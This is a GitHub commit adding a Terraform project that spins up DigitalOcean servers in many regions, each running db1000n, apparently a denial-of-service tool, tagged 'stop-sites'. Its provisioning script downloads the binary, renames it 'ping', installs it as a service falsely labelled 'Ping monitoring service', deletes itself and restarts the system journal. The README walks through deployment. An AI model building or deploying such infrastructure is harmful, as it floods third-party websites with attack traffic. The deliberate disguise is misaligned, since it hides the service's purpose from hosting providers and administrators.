Skip to content

Commit

Permalink
Initial
Browse files Browse the repository at this point in the history
  • Loading branch information
rmalenko committed Aug 17, 2023
1 parent 2ba0dc1 commit 3516849
Show file tree
Hide file tree
Showing 11 changed files with 280 additions and 2 deletions.
20 changes: 20 additions & 0 deletions 03-main.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
## This module creates number of servers in each of provided region.
## I.e. if number_of_servers = 2 and regions = ["nyc1", "nyc2", "nyc3"] this will create six servers at summary.
## # https://github.com/Arriven/db1000n/releases

module "db1000n" {
source = "./module"
count = 2
regions = ["nyc1", "nyc3", "sfo3", "ams3", "sgp1", "lon1", "fra1", "tor1", "blr1"]
db1000n_version = "v0.5.20"
name = "db00-${count.index}"
digitalocean_tag = "stop-sites"
image_name = "ubuntu-20-04-x64"
size = "s-1vcpu-1gb"
ipv6 = true
backups = false
monitoring = true
droplet_agent = true
tags = "stop-sites"
digitalocean_ssh_key = "ssh_user_key_name"
}
61 changes: 59 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
@@ -1,2 +1,59 @@
# do_terraform
DO terraform module
# DO terraform module [db1000n](https://github.com/Arriven/db1000n)

This module creates a number of servers in each of provided region. If you set `count = 2` and regions = ["nyc1", "nyc2", "nyc3"] this will create six servers total. Two servers in each of regions.

**Requriment:**
- Digital Ocean account
- API key
- Already present SSH key in DO account
- Terraform

![](https://raw.githubusercontent.com/rmalenko/do_terraform/main/img/SCR-20220306-sq0.png)
![](https://raw.githubusercontent.com/rmalenko/do_terraform/main/img/SCR-20220306-sqw.png)

## ADD API key
`./module/variables.tf`

```
variable "do_token" {
type = string
default = "your_API_key"
}
```


## How to add SSH key
Settings -> Security -> Add SSH key

remeber key's name and add it into: `./03-main.tf` string `digitalocean_ssh_key =`

```
module "db1000n" {
source = "./module"
count = 2
regions = ["nyc1", "nyc3", "sfo3", "ams3", "sgp1", "lon1", "fra1", "tor1", "blr1"]
name = "db00-${count.index}"
digitalocean_tag = "stop-sites"
image_name = "ubuntu-20-04-x64"
size = "s-1vcpu-1gb"
ipv6 = true
backups = false
monitoring = true
droplet_agent = true
tags = "stop-sites"
digitalocean_ssh_key = "SSH_key_name"
}
```

`count =` - it's number of droplets creates in each of `regions`

Version - `db1000n_version = "v0.5.20"` actual version you may get [there](https://github.com/Arriven/db1000n/releases)


## Also means
you are using ssh keys with name `~/.ssh/id_rsa.pub` if not, change it in `./module/variables.tf` these variables `variable "pub_key"` and `variable "pvt_key"`

Run `terraform init` If I didn't miss anything, you will not get an error message.
Then `terraform plan` and `terraform apply`
delete `terraform destroy -auto-approve`

Binary file added img/SCR-20220306-sq0.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added img/SCR-20220306-sqw.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
54 changes: 54 additions & 0 deletions module/do-512-ams.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
data "digitalocean_tag" "stop-sites" {
name = var.tags
}

data "digitalocean_ssh_key" "terraform" {
name = var.digitalocean_ssh_key
}

resource "local_file" "user_credentials" {
content = templatefile("${path.module}/script.tpl", {
db1000n_version = var.db1000n_version
})
filename = "${path.module}/script.sh"
}

resource "digitalocean_droplet" "db1000n" {
for_each = toset(var.regions)
name = "${var.name}-${each.key}"
size = var.size
region = each.key
ipv6 = var.ipv6
backups = var.backups
monitoring = var.monitoring
droplet_agent = var.droplet_agent
image = var.image_name

tags = [data.digitalocean_tag.stop-sites.id]

ssh_keys = [
data.digitalocean_ssh_key.terraform.id
]

connection {
user = "root"
type = "ssh"
private_key = file(var.pvt_key)
timeout = "2m"
host = self.ipv4_address
}

provisioner "file" {
source = "${path.module}/script.sh"
destination = "/opt/script.sh"
}

provisioner "remote-exec" {
inline = [
"chmod +x /opt/script.sh",
"/opt/script.sh",
]
}

depends_on = [ resource.local_file.user_credentials ]
}
30 changes: 30 additions & 0 deletions module/script.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
#!/usr/bin/env bash

printf %s "[Unit]
Description=Ping monitoring service
After=network.target
Wants=network-online.target
[Service]
Restart=always
Type=simple
WorkingDirectory=/opt
ExecStart=/opt/ping
[Install]
WantedBy=multi-user.target
" | tee /etc/systemd/system/pings.service

cd /opt
wget https://github.com/Arriven/db1000n/releases/download/v0.5.20/db1000n-v0.5.20-linux-amd64.tar.gz --output-document=/opt/db1000n-linux-amd64.tar.gz
tar -xf /opt/db1000n-linux-amd64.tar.gz
mv ./db1000n ./ping
chmod +x ./ping
rm /opt/db1000n-linux-amd64.tar.gz /opt/script.sh

systemctl daemon-reload
systemctl enable pings.service
systemctl start pings.service
sleep 5s
systemctl restart systemd-journald
exit 0
30 changes: 30 additions & 0 deletions module/script.tpl
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
#!/usr/bin/env bash

printf %s "[Unit]
Description=Ping monitoring service
After=network.target
Wants=network-online.target
[Service]
Restart=always
Type=simple
WorkingDirectory=/opt
ExecStart=/opt/ping
[Install]
WantedBy=multi-user.target
" | tee /etc/systemd/system/pings.service

cd /opt
wget https://github.com/Arriven/db1000n/releases/download/${db1000n_version}/db1000n-${db1000n_version}-linux-amd64.tar.gz --output-document=/opt/db1000n-linux-amd64.tar.gz
tar -xf /opt/db1000n-linux-amd64.tar.gz
mv ./db1000n ./ping
chmod +x ./ping
rm /opt/db1000n-linux-amd64.tar.gz /opt/script.sh

systemctl daemon-reload
systemctl enable pings.service
systemctl start pings.service
sleep 3
systemctl restart systemd-journald
exit 0
55 changes: 55 additions & 0 deletions module/variables.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
variable "pub_key" {
default = "~/.ssh/id_rsa.pub"
}

variable "pvt_key" {
default = "~/.ssh/id_rsa"
}

variable "regions" {
type = list(string)
}

variable "name" {
type = string
}

variable "digitalocean_tag" {
type = string
}

variable "size" {
type = string
}

variable "ipv6" {
type = string
}

variable "backups" {
type = string
}

variable "monitoring" {
type = string
}

variable "droplet_agent" {
type = string
}

variable "image_name" {
type = string
}

variable "tags" {
type = string
}

variable "digitalocean_ssh_key" {
type = string
}

variable "db1000n_version" {
type = string
}
9 changes: 9 additions & 0 deletions module/versions.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
terraform {
required_providers {
digitalocean = {
source = "digitalocean/digitalocean"
version = "~> 2.0"
}
}
}

13 changes: 13 additions & 0 deletions provider.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,13 @@
provider "digitalocean" {
token = var.do_token
}

terraform {
required_providers {
digitalocean = {
source = "digitalocean/digitalocean"
version = "~> 2.0"
}
}
}

10 changes: 10 additions & 0 deletions variables.tf
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
# Adjust number of servers to match your load
variable "number_of_servers" {
description = "Number of servers which will create in each of provided region"
default = "2"
}

variable "do_token" {
type = string
default = "API_tokeN_52e2"
}

0 comments on commit 3516849

Please sign in to comment.